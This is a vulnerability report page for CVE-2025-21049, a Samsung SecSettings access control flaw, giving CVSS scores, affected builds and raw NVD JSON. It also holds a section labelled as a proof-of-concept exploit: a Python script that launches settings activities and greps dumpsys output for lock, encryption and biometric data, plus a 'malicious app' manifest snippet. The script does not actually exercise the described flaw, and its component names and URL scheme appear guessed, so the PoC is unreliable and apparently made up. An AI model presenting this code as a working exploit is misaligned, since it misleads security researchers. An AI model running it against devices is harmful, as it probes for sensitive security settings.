Security Vulnerability Report
中文
CVE-2025-21049 CVSS 5.5 MEDIUM

CVE-2025-21049

Published: 2025-10-10 07:15:40
Last Modified: 2025-10-23 12:42:21

Description

Improper access control in SecSettings prior to SMR Oct-2025 Release 1 allows local attackers to access sensitive information. User interaction is required for triggering this vulnerability.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:samsung:android:15.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:15.0:smr-apr-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:15.0:smr-aug-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:15.0:smr-jul-2025-r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:samsung:android:15.0:smr-jun-2025-r1:*:*:*:*:*:* - VULNERABLE
Samsung SecSettings 早于 SMR Oct-2025 Release 1 的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-21049 - Samsung SecSettings Improper Access Control PoC # This PoC demonstrates the concept of accessing sensitive settings via SecSettings # Note: Actual exploitation requires a malicious app installed on the target device import subprocess import time def exploit_secsettings_access_control(): """ PoC for CVE-2025-21049: Improper access control in SecSettings Attempts to access sensitive security settings without proper authorization. """ # Step 1: Check if SecSettings component is accessible target_component = "com.samsung.android.settings.csc/.MainActivity" # Step 2: Attempt to invoke sensitive settings via Intent # The vulnerability allows bypassing access control on certain settings pages exploit_commands = [ # Attempt to access lock screen settings without proper permission 'am start -a android.settings.SECURITY_SETTINGS', # Attempt to access biometric settings 'am start -n com.samsung.android.biometrics.app.setting/.BiometricsSettingsActivity', # Attempt to access encryption settings via SecSettings internal API 'am start -n com.samsung.android.settings.csc/.MainActivity --es "settings_id" "encryption"', # Attempt to dump sensitive security configuration 'dumpsys settings | grep -i "security\|lock\|encrypt\|biometric"', ] print(f"[*] CVE-2025-21049 PoC - Samsung SecSettings Access Control Bypass") print(f"[*] Target component: {target_component}") print(f"[*] Attempting to bypass access control on SecSettings...") for i, cmd in enumerate(exploit_commands): print(f"\n[+] Step {i+1}: Executing: {cmd}") try: result = subprocess.run( cmd.split(), capture_output=True, text=True, timeout=10 ) if result.stdout: print(f"[+] Output: {result.stdout[:500]}") if result.returncode == 0: print(f"[!] Potential access control bypass detected!") except Exception as e: print(f"[-] Error: {e}") time.sleep(1) print(f"\n[*] PoC execution completed.") print(f"[*] On vulnerable devices, sensitive security information may be exposed.") if __name__ == "__main__": exploit_secsettings_access_control() # --- AndroidManifest.xml snippet for a malicious app exploiting CVE-2025-21049 --- # The malicious app would declare intent filters to invoke SecSettings components # without holding the required system permissions. # <manifest xmlns:android="http://schemas.android.com/apk/res/android" # package="com.example.exploit"> # <application> # <activity android:name=".ExploitActivity" # android:exported="true"> # <intent-filter> # <action android:name="android.intent.action.VIEW" /> # <category android:name="android.intent.category.DEFAULT" /> # <data android:scheme="secsettings" # android:host="sensitive_settings" /> # </intent-filter> # </activity> # </application> # </manifest>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21049", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:40.267", "lastModified": "2025-10-23T12:42:21.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in SecSettings prior to SMR Oct-2025 Release 1 allows local attackers to access sensitive information. User interaction is required for triggering this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:-:*:*:*:*:*:*", "matchCriteriaId": "95DE4E96-2F23-47E5-9DFC-44EC409F37E8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-apr-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "AB3F31FA-359F-4CB6-9078-CD2093D4C43A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "4207B265-009B-4FF8-85C5-01EBDB7701FF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-jul-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "B9BADD79-26FC-4498-AFEC-C79AF6B96924"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-jun-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "3A695EEE-B9DE-4448-BC51-AF5AC592AA59"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-mar-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "FC6E2318-BD4E-4540-82C3-0D461C691119"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-may-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "DDFC99BC-87AC-43AC-B815-36B7960C39D1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:15.0:smr-sep-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "22E4BD84-802F-46CC-A86F-B6256F7915E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "3FD6766A-EC2B-4CA2-9A8E-2BA5C9E9ECF9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-aug-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "C86A3033-9DD1-47F9-B95D-10F82A31D335"}, {"vulnerable": true, "criteria": "cpe:2.3:o:samsung:android:16.0:smr-sep-2025-r1:*:*:*:*:*:*", "matchCriteriaId": "79C71CA6-508E-4A19-9014-47FA1BD5A83C"}]}]}], "references": [{"url": "https://security.samsungmobile.com/securityUpdate.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}